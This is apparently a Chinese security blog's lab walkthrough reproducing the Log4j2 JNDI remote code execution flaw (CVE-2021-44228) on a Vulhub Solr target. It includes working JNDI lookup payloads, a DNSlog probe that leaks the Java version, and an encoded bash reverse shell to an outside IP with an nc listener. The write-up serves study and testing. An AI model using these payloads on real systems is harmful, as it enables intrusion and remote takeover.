Apache Log4j2远程代码执行漏洞(CVE-2021-44228)漏洞复现
@TOC
0x00 漏洞简介
Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。
该工具重写了Log4j框架,并且引入了大量丰富的特性。
我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。
该日志框架被大量用于业务系统开发,用来记录日志信息。
Apace在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。
0x01 影响范围
Apache Log4j2 2.x <= 2.14.1
Apache Log4j2 2.15.0-rc1(补丁绕过)
log4j + ? = rce !
- Apache Flink
- Apache Struts2
- Apache Spark
- Apache Storm
- Apache Tomcat
- Apache Solr
- Apache Dubbo
- Apache Druid
- Apache OFBiz
- Apache Flume
- Redis
- Logstash
- ElasticSearch
- Apache Kafka
- Ghidra
- Spring-Boot-strater-log4j2
- VMware vCenter
- Minecraft
0x02 环境搭建(Vulhub)
这里以vulhub提供的Solr作为靶机环境
1 | ┌──(root💀kali)-[~/vulhub/log4j/CVE-2021-44228] |
访问靶机环境http://192.168.1.27:8983/solr/#/
0x03 Dnslog出网测试
1 | action=${jndi:ldap://X.X.X.X/exp} |
先获取一个dnslog的子域名,并在靶机中进行ldap请求
dnslog回显正常,接下来利用dnslog获取java版本信息
1 | action=${jndi:ldap://${sys:java.version}.iwpm6l.dnslog.cn} |
0x04 JNDI注入反弹shell
这里用到一个JNDI注入的小工具,可以生成JNDI链接并启动后端相关服务
1 | https://github.com/welk1n/JNDI-Injection-Exploit |
可执行程序为jar包,在命令行中运行以下命令:
1 | $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] |
命令会被作为参数传入Runtime.getRuntime().exec()
函数中
首先运行jar,在本地启动服务,生成恶意的JNDI Links
1 | root@iZ2zec7mjp663ump9wsug3Z:~# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 39.107.138.71 |
这里使用JDK 1.8的链接,将其作为JNDI查询的对象,从而使得靶机访问ldap服务,获取到恶意的class文件
返回容器中查看可以看到touch
命令成功执行
1 | ┌──(root💀kali)-[~/vulhub/log4j/CVE-2021-44228] |
将命令换成反弹shell
1 | bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDcuMTM4LjcxLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" |
攻击机监听6666端口成功获取shell
1 | root@iZ2zec7mjp663ump9wsug3Z:~# nc -lvvp 6666 |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 H4cking to the Gate .!
评论